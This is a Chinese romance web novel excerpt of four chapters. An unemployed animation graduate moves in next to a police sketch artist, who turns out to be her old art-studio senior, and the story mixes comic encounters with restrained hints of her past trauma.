《当我和高中师哥成了邻居》
1. 搬家
——提问:搬家第一天被警察邻居当成女流氓怎么办?
—
海城的七月天闷热,却不干燥,骤雨初歇。湿漉的地面坑坑洼洼,满是泥泞和积水。
为了省两百块钱,乔星若选择自己搬家,分了两趟行李。
第一趟搬的是自己的行李,装满了一个行李箱。
和乔星若一起出小区的阿姨是个自来熟,主动跟她搭话:“小姑娘,出差呀?”
乔星若摇头,抿起含蓄的笑意:“搬家。”
“搬去哪啊?”
“繁花苑。”
“那边哦,老小区了,怎么突然就搬了呀……”
“……”
这个季节还在木槿的花期里,路边的花树枝桠上长满了花,落了满地粉白。
乔星若拖着行李,特意走了人行道上没有落花的一边。
她边走边低头看手机的导航,路过海城分局附近时没注意踩上了一片苔藓。
被雨水浸湿的苔藓更加湿滑,乔星若来不及反应,脚下一滑,整个人重心不稳。
“?!”
不、是、吧?!
警察蜀黍这里有民要遇害了……
“小心。”身后传来一个低沉的声音,清冽的橙子沐浴露气息覆上了她的整个后背。
味道很好闻。
乔星若微微发怔,脑子里只剩下这个莫名其妙的念头。
刚才直觉要摔时,她一手抓紧行李箱杆,另一只拿着手机的手下意识往后腾空抓物,手指不小心碰到了好心扶她的人的裤子。
“???”啥玩意,温温软软的。
不到两秒,乔星若清晰感觉到,指尖贴着的地方有了点变化。
她视线往后下移,意识到那是什么时,呆滞了一瞬。
天塌了,自己的手里好像多了一个手机。
后上方传来一声闷哼。
乔星若脸颊爆红,立即缩回手,转身往后退了一步。
“不、不好意思……”
结果没长记性,又踩上了那片苔藓。
人怎么能这么快在同一个地方摔倒两次……
熟悉的重心后仰,乔星若有些绝望地闭上了眼。
下一秒又被那个熟悉的气息抱了满怀。前面和后面都被抱了,主打一个……雨露均沾。
“我看你挺好意思的。”头顶上方的声音变得咬牙切齿。
乔星若仰头,对上一双冷冽的眼睛。眼尾狭长上挑,微微泛着一层浅红,上面盖着细碎的短发。
这么漂亮的眸子,她只在漫画里见过。
见女生呆呆盯着自己,男人的耳根染上一层不自然的红晕,但嘴上不饶人——
“得,救了个女流氓。”
乔星若被骂的有点懵,反应过来时,男人已经松开了她,转身就走。
乔星若窝囊,但又不想平白被骂流氓。以为他走远听不到了,才敢小声哔哔:“也就那样啊,白长这么高了……”
谁知那男人听力极好,绷着已经红成熟虾的脸转回头看她,指了指旁边“海城分局”几个字,面无表情:“你是不识字吗?”
“在这个地方说这种话,是想让我请你进去坐坐吗?”
乔星若:“……”
居然,是个警察,啊。
这算什么?
算她袭警吗……
—
为了不让自己胡思乱想,乔星若拍了拍自己发烫了一路的脸颊,安慰自己那就是个意外。
应该没什么关系吧,反正以后也不一定会再遇到了……
就算真的再次遇到,她这么个脸盲可能也认不出来那人,尴尬的不是她。
第二趟搬的是自家喵主子的东西。再次路过分局时,害怕再摔一次,乔星若每一步都走的很谨慎。
最终用自己一米六出头的个子,扛着比自己还重的行李进繁花苑的单元楼。
这是她刚租下来的新房子,一厅一室一卫,有小阳台。
交完定金和房租后,乔星若彻底穷了。
在这座繁华的一线城市,父母不在身边,自身能力平庸,连个工作都找不着的她还拖家带口的,迟早会饿死的。
乔咪咪:“喵?”小猫歪头.jpg
搬完所有的行李,乔星若身上背后湿透,分不清是雨水还是汗水。
她站在门口叉着腰平复呼吸。
几个大箱子里的东西,其中大半都是猫的。
猫爬架、猫砂盆、猫包、玩具食物等,一应俱全。外人估计都看不出来富养的猫跟着她这么个穷鬼。
“同志,箱子挡道了。”过道传来一个男人的声音,磁性低沉。
这声“同志”怪亲切的,乔星若啊了一声,一边道歉一边把自己还没来得及收拾的纸箱挪回屋里。
做完这些,她才想起来留意自己的新邻居。
是个年轻的男人,个子很高,目测有一米八五往上,比例简直是按照她画的男性动漫人体长的。
气质清冷淡泊,如同灰色调的水粉颜料。
至于五官,虽然她没带隐形眼镜看不太清,但直觉这人应该是挺好看的。
注意到他身上的深色体恤和休闲裤,乔星若联想到上午遇到的那个男人,似乎也是这身衣服……
这么一看,身形也对上了。
乔星若欲扬起的标准笑容僵在脸上,转变成茫然:“是你……?”
看男人的脸色就知道,显然也认出她来了。
“新搬来的?”
察觉到她话音落下后,目光似有似无地落在他的下半身,他轻啧一声。
乔星若猛的回过神,把视线下移到地上,不敢再回想上午的事情。
可能是对警察这类正义化身的职业有滤镜,所以知道这人是警察后,她在他面前跟个鹌鹑一样,唯唯诺诺。
乔星若胡乱点了下头:“……是的,今天刚搬过来。我叫乔星若,乔迁的乔,星光的星,若干的若。”
“以后……多多关照。”
希望还有以后吧,毕竟如果再找不到工作,花完最后剩的那点稿费之后,她就可以卷铺回家啃老了。
男人微微颔首:“陈时澹。”
“什么?”乔星若不戴眼镜时听力也多少有点下降,没听清。
听着像什么橙子糖,她还挺爱吃的。
对面的人顿了两秒,重复一遍:“陈时澹,耳东陈,日寸时,澹台的澹。”
全程都没什么表情,说完便收回目光开门进屋了。
那个态度,似乎对她避之不及。
乔星若对于这段孽缘也表示很头疼,都顾不得这名字有点耳熟,抱着乔咪咪回屋。
她没力气收拾行李了,便任由它们堆在客厅,找了套居家服出来,想洗个澡。
新的问题又来了,浴室里的热水器是坏的。
捣鼓半天无果,乔星若叹了口气,给房东发了消息。
房东立即回了个条语音,她转成文字。
——啊?真是不好意思啊,我们现在过去给你看一下。
敲星惹:好的,麻烦了。
几分钟后,房门被人从外面敲响。
乔星若有些意外,这么快的吗。
可当她打开门,看到门外的是刚才见过那什么橙子糖,愣了一下,下意识扫了眼他的裤子。
只一眼便撇开视线。
“你……有什么事吗?”
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表面淡定,实则内心很绝望。
也不知道自己什么时候有的毛病,眼神老是不受控制往人家下半身瞟。
真应了他形容她的那个词……
陈时澹看到她也没什么好脸色:“热水器坏了?”
“……”乔星若低头看了眼手机,点开房东的语音条。
“啊,真是不好意思啊——”是个女人,听声音的年纪估计跟她妈差不多大。
“那是我妈,她让我过来看看。”陈时澹明白了她的意思,打开手机里的聊天记录给她看。
老妈:“破孩子,你住的那套房子有个新搬来的小姑娘,住在802,热水器坏了,去看一下。”
听声音确实是房东太太。
乔星若对于异性还是比较警惕的,况且还是只见过一面的陌生人。
脑子里闪过以前的一些片段,她下意识攥着门沿,犹豫着往旁边侧了下身:“……你进去吧。”
陈时澹往卫生间的方向走,她仍然站在门口,没有关门。
他中途回头瞥了她一眼,没有管她。
在陈时澹待在卫生间期间,乔星若倚着门框,有些纠结。
他不会趁机在里面放针孔摄像头什么的吧?
看新闻上就有爆出这种事情,还有那种变态小说也是这么写的。
但很快她又甩掉那些荒谬的想法。
人家是警察啊,好人!好心来帮忙还这么恶意揣测人家,太过分了吧!
可网友不是教了,不能对职业有滤镜来着……
过了一会儿,陈时澹从里面出来。
“确实是坏了,没有在你搬进来就找人来修好很抱歉。下个月房租给你减半,你看行吗?”
乔星若听到的——
“巴拉巴拉……房租减半。”
她点头如捣蒜。
“可以的。”
但很快乔星若就想到了另一个顾虑:“那我,怎么洗澡呢?”
“你可以去我那边洗。”陈时澹重新拿出手机,点开绿泡泡,“加个联系方式吧,热水器修好之前,你要过来我这边洗澡就提前说一声。”
乔星若想起刚才的怀疑,瞬间变得警惕。
她纠结了一会儿,干巴巴地扯了个谎:“我有男朋友的。”
“?”
陈时澹沉默两秒:“所以?我是让你过来洗澡,不是让你过来——和我一起洗澡。”
乔星若咬了下舌头。
真是脑子抽了,她也不知道刚才怎么就说了那种话。
听着像是她怀疑人家对她有意思,他不会觉得她是普信女吧?
“……我其实不是这个意思,嗯……对不起。”乔星若尴尬笑笑,“那麻烦你了。”
她试探着问:“如果方便的话,我现在可以去洗吗?”
“嗯。”陈时澹低头看手机,给她时间拿东西。
拿好洗浴用品后,乔星若跟着陈时澹去隔壁。
第一次来男生住的地方,比想象中的干净整洁,也没有什么味道。
非要说的话,能隐隐闻到一股香甜的蛋糕味。
陈时澹没有进去,反而当着乔星若的面把钥匙搁在玄关处。
“喂,女流……咳,女同志。”
乔星若转头看他,歪了下头表示疑惑。
陈时澹用下巴指了一下门板:“我现在要去便利店买点东西,你进去之后把门反锁,我讲明白没?”
乔星若愣了一下,有些意外。还以为是他猜到了自己在想什么,结果下一秒就听到了这人欠欠的理由——
“我家里的东西都挺贵的,我怕小偷眼馋。”
乔星若:“……哦。”
“……”
2. 画室
便利店就在小区附近,陈时澹来回一趟估计不会太久。所以乔星若没敢多磨蹭,迅速洗完澡和头,随意擦了一下头发便出来了。
路过一个房间时,她不经意瞥到里面的东西,睁大眼睛。
里面摆了很多画架和头骨,还有满墙的人头像画。
咋一看怪吓人的。
这个叫什么橙子糖的,也是学美术的?
他不是警察吗?
无意窥探别人的隐私,乔星若没敢多停留,连忙收回目光离开。
心理建设完,她打开门,看到陈时澹靠在电梯旁的墙边看手机,嘴里叼着根棒棒糖。
听到动静,他朝她看了过来。
乔星若挠挠头,有些不好意思:“不好意思啊,让你久等了。”
“我刚回来。”陈时澹从袋子里拿出一瓶橙子汽水给她。
“谢谢。”乔星若犹豫着接过,准备回去。
“你等一下。”陈时澹回屋,端出一份橙子慕斯蛋糕,“我做的,拿去尝尝。”
乔星若摆手:“这不太……”
肚子发出不合时宜的咕噜声。
乔星若:“……”
接着,她对上一个似笑非笑的目光。
这肚子不乘。
也不怪她啊,为了搬家,她今天早上到现在都没有吃过东西。
眼前忽然出现一个卖相好,香得能飘十米远的橙子蛋糕,她能忍着不做咽口水的动作就已经很好了。
陈时澹看不惯人磨磨唧唧的,直接塞到乔星若手中,敷衍找了个借口:“别误会,一般新搬来的住户都有,不吃倒了。”
“……”
吃到好吃的橙子慕斯蛋糕,乔星若这几天一直低落的情绪难得好了些。
住的地方有了,接下来便是找工作了。
这段时间的简历都石沉大海,就算有公司给了面试的机会,但相比于更年轻的应届生,她一点优势都没有。
都说美术生就业广,可除了在平台接单插画,她也想不到自己能干嘛了。
插画的收入还算可观,但不稳定。
交了房租之后就不剩什么了,乔咪咪和她还要吃饭的。
乔星若之前在某书发了帖子问美术生毕业后能做什么。结果就是,一方有难八方添乱。
——你说美术牲吗,出生中的出生,十个里面八个转行,是的我就是其中一个,我现在在干服务行业。
——不道啊,我学设计的,现在在卖烤肠。
——其他的不知道,但别学环艺好吗,我那失业的设计师男朋友已经在家蹲三个月了,房租是我垫的。
——也别选动画,我用命劝。
动画专业的乔星若:“……”
其中一条热度最高的——进美团啊,你看音乐生进乐团,舞蹈生进舞团,那美术生进美团不是很合理吗。
底下一堆附和。
大家都是玩梗,只有乔星若盯着这条评论认真考虑了一晚上,第二天扫了辆共享单车去尝试跑众包。
一上午赚了二十六块钱,吃碗粉花了十五块。
真的没招了。
忙活一天回去跟她的画画亲友说了这个事情,后者说她的执行力强得可怕。
妈妈还不知道她辞职的事情,她也不想让妈妈担心。
思来想去,乔星若决定回到梦开始的地方。
她盯着手机上的号码酝酿半晌,拨了过去。
电话接通,乔星若换上讨好的语气:“喂?请问是李老师吗?”
“……”
“对,我是星若,老师还记得我呢哈哈。那个……老师,想问一下咱画室还缺助教不?”
“……”
“哎,真的啊?那太好了,我一定好好干,把师弟师妹们当成我的亲弟弟妹妹!”
“……”
挂断电话后,乔星若蜷缩在沙发上,长长叹了口气。
海城的画室助教兼职,朝九晚六,工作内容不算多,一天的工资只有一百。
但比跑外卖强一点,至少不用风吹日晒。
加上她的稿费,也能活着了。
幸运的是下个月房租减半,隔壁小哥哥是天使吧第一次见面就给她送一千多块钱!
乔星若有点后悔冲动辞掉工作了,什么都比不过钱重要啊。
可能是看出她情绪不好,乔咪咪跳到她的脚边,歪头喵了一声。
乔星若抱起它猛猛吸了一顿,声音铿锵有力:“就算是为了毛孩子,我也要努力好吗!好的!”
“……”
翌日,乔星若洗漱完画了个淡妆,便去川海画室报道了。
再次来到她高三集训的画室,已然换了个身份。
有几位教过她的老师还对她有影响,简单叙过旧后,李老师跟她说了些助教的工作。
工作内容很简单,就在课上帮学生改改画,上课前点一遍名。
学艺术的孩子有个性,跟画室老师们的相处模式更随意,比起师生更像是朋友。
乔星若很快融入了这个不算陌生的群体。
十几岁的学生大多数都喜欢二次元,有些从小就开始画动漫人物,小小年纪画龄十几年。
他们得知乔星若大学是动画专业的,看她的眼睛亮晶晶的,问她为什么现在会从事教培行业。
乔星若尴尬笑笑,没有回答得很具体。
第一天的工作完成,她跟着李老师一起走出教学楼。
羽城那边的分部画室教学内容到色彩时,李老师常被安排过去出差,所以他对羽城也算得上熟悉。
“星若,我记得你老家在羽城,有想过回去吗?你这个大学在羽城那边应该比较好找工作的。”
“嗯……”乔星若舔了下唇,“大城市机会多嘛,还想在这里试试。”
“也是,还年轻嘛,加油啊。”
“……”
路过一楼的休息区,看到一个摆放画室宣传册的书架,乔星若取了一本出来。
李老师回忆了一下:“这版好几年前的了,应该是比你那届还早两年的。”
乔星若顺手翻了几页。教师简介之后,是某届优秀学生的一寸照片和考上的学府。
她的目光落到第一个学生的一寸照片上,觉得有点眼熟。
视线下移,看到“陈时澹,海城公安学院”时,微微怔住。
这个名字她高三集训的时候经常听老师提起,川海画室的美术生都对这位2014届的联考状元师哥有所耳闻。
昨天听本人自我介绍时,乔星若还没反应过来。
现在看到名字和照片时才惊觉,原来邻居是她高中的师哥啊。
职业也对上了。
再往下翻,是这届学生集训时的活动照片。
乔星若又看到了陈时澹。
照片里的他带着耳机,嘴里叼着根棒棒糖,一条腿的脚踝搭在另一条腿的膝盖上,姿势懒散随意。
冷白的手背上显眼的除了血管,还有不小心沾上的几滴水粉,极致的漂亮。
光是这么个逆着光的侧影,就能看出他是个颜值很高的男生,少年气息扑面而来。
—
回到小区,乘电梯上楼。电梯门开后,乔星若隐约听到过道里的声音。
几个男人从隔壁出来,其中的陈时澹还拎着一只银渐层。
“咪咪!”乔星若把猫抢了回来,警惕地瞪着他,如同在看一个偷孩子的人贩子。
过道里响起几人压抑不住的笑声。
“这猫名字挺大众。”
“咪咪?”一个男人唤了一声。
“喵?”乔咪咪懒懒抬了下眼,应了一声。
乔星若:“……”
几个莫名其妙的人。
陈时澹看着她,挑了挑眉:“你的猫?”<
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p>她谨慎点头,搂紧了乔咪咪。
陈时澹轻笑一声:“下次记得把阳台门关好,猫跑到我那边去了。”
“?”乔星若睁大眼睛,想不到居然发生了这种事情。
她一向马马虎虎的,看天气预报说今天会下雨,所以早上出门前去阳台收衣服,忘记把门关严实了。
况且她也想不到这猫胆子恁大啊,八楼的阳台它都敢翻。
得知真相后,乔星若低着头,恨不得把脸埋进怀中的毛绒绒里。声音细若蚊鸣:“不好意思啊……”
陈时澹旁边的男人含着笑意说:“行了,别逗人女同志了。我们都是海城分局的,姑娘你别害怕。”
陈时澹垂眸,瞥了眼乔星若的手:“美术老师?”
乔星若“啊”了一声:“是的。”虽然只当了一天。
这也能看出来,不愧是警察。
“指甲缝里的碳灰没完全清洗干净,手机壳上也蹭了点。”陈时澹说话间扫到她在便利店买的两袋泡面,把钥匙扔给她。
“我们有紧急任务要回趟局里,我做了晚饭来不及吃了,帮忙吃点。”
“……”也没给乔星若拒绝的机会,几个男人匆匆离开。
几人在电梯里,对陈时澹新邻居的话题意犹未尽。
许明:“哎,澹哥,你这邻居某种意义上跟你还是同行啊,都是从事美术相关行业的。”
宋志鹏:“学艺术的果然品味都好,澹哥这美女邻居的气质简直了。”
陈时澹冷冷瞥了他们一眼,几人讪讪收回话题。
梁队:“一个个还是太闲了。许明,把那个嫌疑人的外貌特征再给阿澹说一下,回忆仔细了。”
“啊,是。”
“……”
乔星若抱着乔咪咪回屋,准备好洗浴用品到隔壁洗澡。
每次到这人屋里都能闻到很香的食物味道。
乔星若本来还不好意思,但看到一桌子海鲜,蓦地被馋虫勾住了脚。
他们应该是准备聚餐,但突发情况被叫回了局里。
妈呀,过年了。
就……拿两只虾回去给她家猫崽子加餐,不过分吧?
警察叔叔一定会理解贫困群众的!
说服完自己,乔星若回自己那边拿上筷子和碗,回来夹虾。
准备离开时,却在门口玄关跟从外面回来的陈时澹碰了个正着。
“!”
好尴尬,有种偷吃被抓的感觉。
社恐社死了。
她觉得自己得说点高情商的话来缓解气氛。
大脑迅速回忆网上的场景对话。
天塌了,山东IP的老师没教过这个场景的。
总不能说——好无聊呀让我们一起蹭你家的饭吧。
“……”
陈时澹听不见乔星若心里的99+,瞥了眼她碗里的东西:“就吃这点?”
“啊……对,我减肥。”乔星若松了口气,有了开头,对话好像也不是这么难了。
“海鲜又吃不胖,帮忙多吃点,给你的猫也带些回去吧,不然都浪费了。”陈时澹抬了抬下巴,示意她往饭厅走。
“……好吧。”
乔星若挪到饭厅,却发现他没过来,而是往书房的方向走。
她犹豫着问:“……你不吃吗?”
陈时澹:“我把工作带回来做了,今晚得同宵画像,没时间吃,你就当帮忙了。”
那真是便宜她了。
海鲜过不了夜,她没再客气。
填饱肚子后,乔星若将虾剥好壳放进碗里,清理好现场。她瞄了眼紧闭着的书房,端着碗回隔壁。
“咪咪,妈妈给你打猎回来啦!”
“喵!”
看着毛小孩吃的津津有味,乔星若感觉母爱泛滥。
好了,赚钱的动力更足了!
世界果然不能没有猫猫。
3. 见过
这时电话铃声响起。
乔咪咪听到声音看了乔星若一眼,换了个方向,背对着她继续吃。
是妈妈许敏的电话。
“喂,妈妈。”
“若若啊,吃饭了没?”
“吃啦。”
“没骗人吧?之前这个点你还在加班呢。”
“真的吃了,我已经下班了。”
“……”
许敏又嘱咐了一些日常,乔星若一下一下地给咪咪顺毛,心不在焉听着。
许敏:“若若,听你这精神怪奄儿的,工作不开心?是不是最近太累了?”
知女莫如母。一语道破,确实是工作的事情。
她好歹也是本科毕业的,现在连个工作都找不着,只能去做兼职苟活,叫她如何不郁闷。
但是乔星若没跟许敏说实话:“……这两天是有点累,后面就好啦。”
那边还在絮叨。
“那你要休息好啊,别太累了……要是不开心,咱就回来,好不好?”
“妈妈已经跟……那个人离婚这么多年了,不会有人再说若若什么了。”
乔星若的指尖一顿,想起某些不好的声音,心脏猛地颤了一下。
半晌,她呐呐开口:“……其实我挺好的。”
她很好。
圈子干净,这里没有人认识她,不会有人提及她的过去。
这样简简单单的,养着一只猫,就是她最想要的生活了。
“要不妈妈把花店歇了过去陪你吧?你一个人在那边妈妈也不放心。”
许星若闭了闭眼:“妈,这个真的,别再提了。”
她需要的是一个没有过去的人的环境。
就算是妈妈,也不行。
许敏:“……好,妈妈不提了。你要照顾好自己,听医生的话,按时吃药。”
乔星若:“嗯,知道了。”
“还有……不要伤害自己,妈妈爱你。”
“……”
可能是最近情绪起伏有点大,乔星若当晚做了个梦,梦到之前的事情。
密闭昏暗的室内,只有她和那个平时那个待人温文尔雅的继父。
他撕开了平时的伪装,朝她露出那张阴暗猥琐的嘴脸。
恶鬼般的面孔,深深刺入她的大脑深处,给她留下一辈子的阴影。
“所有人都知道了……所有人都知道了……”
“妈妈,我不想活了……”
“……”
乔星若惊醒过来,喉咙无意识发出的喘息声未立即停止,暴露了她内心深处的恐惧和窒息感。
她下意识瞥了眼房间的门,看到是紧闭着的,松了口气。
心想得跟房东商量一下,在客厅和房间都多安一把锁才行……
之前跟朋友邱宁合租的时候,她就提过这个事情,后者不理解。
她底气不足地解释自己没有安全感。
邱宁当时笑她有被害妄想症。
所以,所有的不堪都只能留给自己,不会有人能真正理解她。
现在自己一个人住,就不会有人觉得她奇怪了吧……
乔星若呆滞地在床上走了会儿神。
阳台门没关紧,凌晨的风不再燥热,也许是心理作用,她觉得有点冷。
乔星若撑着身体起身,趿拉着拖鞋去关门。
脚边忽然传来轻微的动静。
乔星若蓦地回头,目光警惕地扫射过去。
看到是一条毛绒绒的猫尾巴在动,她紧绷着脸舒展开。重新躺回床上,抱着大白鹅侧身蜷缩。
不知什么时候重新睡了回去,但她感觉自己是一直醒着的,想了很多东西,又有点像是梦,接着便天亮了。
乔星若把掉在地上的大白鹅玩偶捡起来,严谨地给它盖好被子,起床洗漱。
昨晚又忘吃药了,睡得不太好。
乔星若冲了杯速溶咖啡,就着全麦面包吃。有点饱腹感便停了,跟做任务似的。
自从生病之后,乔星若的记性就一直不太好。
去画室上课之前,她一共检查了三遍阳台门有没有关紧。
每次检查完去做别的事情,过了一会儿就会感觉上一次检查是自己的幻觉。
最后一次检查完,乔星若蹲下来跟床上的猫平视。
乔星若一脸严肃:“咪咪,你乖乖的,不许靠近阳台和窗台,知道吗?”
“昨天的事情我很生气,虽然主要是我的问题,怪我忘了把门关好。”
“我跟你道歉,你也要给我道个歉。”
“喵。”乔咪咪哈了口气,敷衍地把爪垫放在她的手心里。
乔星若曲起手指,跟它握了一下:“好的我原谅你了。”
“……”
“从窗户掉下去很疼的。”她的语气坚定,仿佛在说自己的亲身经历。
“……特别疼。”
“……”
中午跟另一位助教一起吃饭时,乔星若看到陈时澹发来的消息。
橙:修热水器的师傅今天可以过来,你几点到家?我跟他说一下。
乔星若犹豫片刻,在手机屏幕上删删减减,回了一句:我大概六点半到家。
敲星惹:那个……你可以陪我一起吗?
橙:?
橙:男朋友没时间?
乔星若懵了,不知道自己哪来的男朋友。
但很快她就想起了自己搬来的第一天,随口瞎编的男朋友,有点尴尬。
敲星惹:……异地。
对面没再回复,也不知道有没有答应。
乔星若叹了口气。
想想都知道,人家警察小哥哥很忙的吧,哪有时间陪她盯别人修热水器。
画室课程下课时间延迟是常态,乔星若回到小区已经将近晚上七点了。
楼道里有两个身影。
一个身穿工作服马甲,拎着工具箱。
另一个咬着根棒棒糖,靠墙蹲在地上画画。
两人明显认识,偶尔会聊几句家常里短。
陈时澹听到电梯门开的声音,抬眼看了过去:“等你半天了。”
“不好意思啊……”乔星若眼睑下垂,流露出歉意,指腹摩挲着包带。
“开门。”陈时澹起身,把画好的画递给陆师傅。
陆师傅把画举远欣赏,赞叹不已:“可以啊陈警官,画得跟我的长相一模一样呐!厉害!”
“过奖了,写生是学美术的基本功。”陈时澹勾唇,把画本收回挎包里。
乔星若取出钥匙开门,中途瞄了一眼陈时澹画的画。
嗯,明暗关系和画面的细节处理的都很完美,短时间内能做到这一步,基本功硬得能砍穿地球。
“甚至,没那么软……”乔星若小声嘀咕了一句。
她前两天上网查了一下,公
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安机关刑事侦查体系下有个专业技术岗位,叫做模拟画像师。
陈时澹应该就是模拟画像师吧。
不了解,但听着很厉害的感觉。
陈时澹注意到乔星若的视线一直落在画上,还嘀嘀咕咕的。挑了挑眉:“怎么,这位美术老师有何见解?”
乔星若收回目光:“……没有,你很厉害。”
陆师傅取出要用到的工具,随口一问:“陈警官的邻居也是学艺术的啊?”
乔星若点头:“是的。”
“那你们可有共同话题喽。”
乔星若:“……”倒也没有,隔行如隔山。
如果是换到上学那会儿,陈时澹这种人属于天赋怪。而她,属于纯靠热爱的努力型选手。
人都是有私欲的,看到跟她同一届的天赋怪,她还会因为潜意识觉得自己努努力也能追赶,而产生嫉妒心理。
然而在李老师那里看到陈时澹往年在画室的作品,她对这位状元师哥连嫉妒的念头没有了,只剩下这辈子都无法到达那种水平的无力感。
陈时澹的视线落在她的脸上,声音低沉:“你的表情在告诉我,你认识我,还是很久以前就认识的那种。”
乔星若眼神躲闪:“啊,没有啊。”
“眼神和撒谎时的微表情是不会骗人的。”陈时澹的语气笃定。
“你又知道了?”乔星若有点不服气。
“不难。我还知道你的职业不只是老师,应该还从事着需要长期面对电子屏幕的工作。”陈时澹视线下移,落到她的手指上,“还有指绘,习惯用中指。”
“?”
乔星若神色复杂地看了眼自己右手的中指指腹,因为长期指绘磨出了薄薄的茧子。
“说的很对,下次不许说了。”
给人留点隐私不好吗。
陈时澹不着痕迹地勾了下唇:“我记得你,乔星若。”
“你高三来川海集训的时候,我们见过。”
乔星若闻言,懵了一下。
有吗?
她没有印象,不太确定。
她从小到大都有点脸盲,如果只是见过一面的话,是很难记住的。
但陈时澹这种全画室都认识的人物,如果见过的话,按理来说不可能一点记忆都没有啊。
乔星若不是很健谈的人,尽管很疑惑,但还是勉强笑了笑没有追问。
陆师傅把热水器修好时,天色已经完全暗下来了。
陈时澹往乔星若的方向偏了下头,低声问她有没有水。
乔星若点头,从包里拿出一瓶没开封的矿泉水。
现在的她知道勤俭持家了,水都是在家里烧好了装去上班,不舍得买瓶装的。
这瓶是从李老师办公室拿的。
自从在画室当助教,李老师对她这个没出息的徒弟非但没嫌弃还处处关照,偶尔请她吃饭。
乔星若把水递给旁边的人。
陈时澹下巴稍抬,示意她给陆师傅。
乔星若呆了一下,听话照做。
陈时澹的声音在身后悠悠传来:“今晚辛苦陆叔跑一趟了。”
“哪里的话。”陆师傅接过水,热情道,“谢谢啊姑娘,后面还有什么问题都可以再找我。”
“是还有一个问题。”乔星若纠结了一下,试探着询问,“师傅会装锁吗,我……我想给玄关处的门和卧室分别再装多一把锁。”
4. 师妹
室内安静片刻。
陈时澹用余光瞥了乔星若一眼。
她搬过来的第一天他就注意到了,这姑娘警惕性极强,对谁都防备。
给人一种时刻准备好,一旦遇事不对立马掉头跑的感觉。
陆师傅走到玄关看了下现有的锁,有些纳闷:“这锁挺好的啊,怎么还要装多一把?”
乔星若低着头,小声说:“我就是……觉得多把锁安心一点……”
陆师傅笑了:“姑娘你真会说笑,隔壁住着警察你还觉得不安心啊?”
乔星若垂眸,抿着唇没吭声。
陈时澹淡淡从她身上收回视线:“陆叔,给她装吧,小姑娘有警惕意识是好事。”
“可以是可以,但是我今天工具没带齐,而且装锁要钻墙打孔,现在这个时间扰民了,明天吧。”
“行,辛苦了叔。”
陆师傅离开后,乔星若表示学到了:“看不出来,你还挺会说话的。”
“人情世故是社交通行证啊,我们警察经常要跟群众打交道的,小师妹。”陈时澹勾着唇,问她,“吃饭没?”
“没。”
“这么晚才回,还以为你跟谁约会去了,消息也不回。”
乔星若打开绿泡泡,确实看到了陈时澹一个小时前发的消息。
橙:还回来吗?。。
乔星若:“……不好意思啊,静音没看到。”
陈时澹懒得跟她计较,抬步往门口走。
见她还站在原地,他回头抬了抬下巴:“走吧,我煮面,去我那边一起吃得了。”
“……”
主要是没好意思拒绝帮过她这么多忙的警察叔叔,乔星若给乔咪咪添了猫粮和水,便跟着陈时澹到隔壁。
陈时澹的厨艺是真的好,还很舍得放料。一锅东西里半锅是牛肉卷、鱼丸、豆腐皮、小青菜。
香,香死了。
乔星若在旁边看着,肚子不争气地叫了一声。
幸好现在锅在沸腾,掩饰过了她肚子发出的声音。
不知是不是错觉,乔星若好像看到陈时澹嘴角的弧度有了一点变化。
因为戴了隐形眼镜,她这次能看清他的模样。
现在的陈时澹比高中照片里的他五官更硬朗一些,三庭五眼分布均匀,下颚线柔和分明,墙边光线落下,将眉宇切割出利落的几何图形。
那双眼睛生的极好看,瞳色偏深,唇角敛起时不沾任何情感,如同深冬的霜雪。
哭起来应该就更好看了。
乔星若反应过来自己在想什么,吓了一跳。
感觉自己的脑子坏掉了。
这是什么变态文学,小说软件害人不浅,回去就给卸了!
“你脸红什么?”陈时澹的声音传来。
“!”
乔星若慌乱地拍拍脸颊,转过身往饭厅走。
为了显得自己不那么心虚,她嘴硬得能顶天:“谁、谁脸红了?你不要污蔑人……”
“哦,你没脸红,你是面部皮肤血管扩张、血液增加了,生理性反应,而、已。”陈时澹关火,把面端出来。
“……我那是热的。”
陈时澹轻笑了一声,俯身朝她凑近了些。
乔星若很少跟一个男生离这么近,近到甚至闻到了他身上的沐浴露味道。
清淡的橙子味,很好闻。
但,这太暧昧了。
她红着脸,下意识往后仰。
陈时澹逗够了人,直起身与她拉开距离,眉眼间的笑意半分不淡。
“2019年七月,你刚到川海画室参加集训,不见了一整盒青竹水粉,躲在厕所哭结果搞错进了男厕所。”
乔星若:“???”
这个人怎么会知道?!!!!!
知道这件事的明明只有……
陈时澹顿了一下,继续说:“那天我跟朋友回来画室看老师,正好在厕所遇到你,好意提醒你走错厕所了,你哭得更大声了。”
乔星若瞪大眼睛,一脸不可置信。
那天好多人都说李老师的得意门生状元师哥回来了,她还惋惜自己在厕所哭错过了近距离垂涎画神的机会。
没想到……
知道她差不多想起来了,陈时澹极轻地扬了下眉。
“因为怕你这动静引来别人,引起不必要的误会,我给你塞了颗糖,把你带到外面,一边听你说自己多倒霉一边给你递纸巾,最后纸巾用完了只剩下兜里一百块纸币,拿出来后你跟遇到神医一样瞬间灿烂。”
乔星若:“……”
污蔑,绝对是污蔑。
她哪有灿烂,她明明一直有在拼命压下想翘起来的嘴角。
“你不哭之后我回去找我朋友了,当晚下单水粉颜料四十二色全套装,填的画室地址,让生活老师转交给你。”
陈时澹垂着眸,笑得漫不经心。
“所以,乔师妹。”
“想起我们是在什么时候见过了吗?”
“……”
室内的冷光打在女孩柔软蓬松的发顶,像只毛茸茸的小萌物。
她似乎有些懊恼,歪头耷拉着无辜的眼眸。
前几年第一次见到她的时候,比起现在的漂亮,更多的是青涩。
但还是那么胆怯。
职业基操,虽然乔星若这些年变化很大,可陈时澹还是一眼便认出来了她。
那天跟朋友一起回学校看老师,也是被硬拉过去的,作业熬了半宿烦得要死,结果上个厕所还遇到个在男厕所哭的女生。
就很玄幻。
他就没哄过女生,那天为了哄她,把糖、纸巾、现金都赔了进去。
这么多年不见,她的出场方式还是那么……特别。
哭包成流氓了。
陈时澹啧了一声:“所以别瞎想,我对你这种脑回路清奇的女生没兴趣。”
被攻击了。
但没关系。
乔星若舔了舔唇:“……谢谢你啊,陈师哥。”
能送她一整套水粉的,不是恩人就是义父啊。
“幸好有你那套水粉,我带着它努力半年参加联考,辜负了所有人的期待,最终成为一个对社会没有价值的人。”乔星若说着都有点被自己感动到了,想哭。
陈时澹觉得好笑:“怎么着?气氛都到这了,我们不抱头痛哭一顿都好像有点对不起你这一番话。”
“……倒也不必。”
吃完面回自己屋,乔星若用刚修好不久的热水器
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洗了个澡。
褪尽满身疲惫,她吃过药后,抱着乔咪咪给它唱歌,在安眠药的作用下不知不觉睡了过去。
次日,陆师傅上门装锁,依然是在陈时澹陪同下。
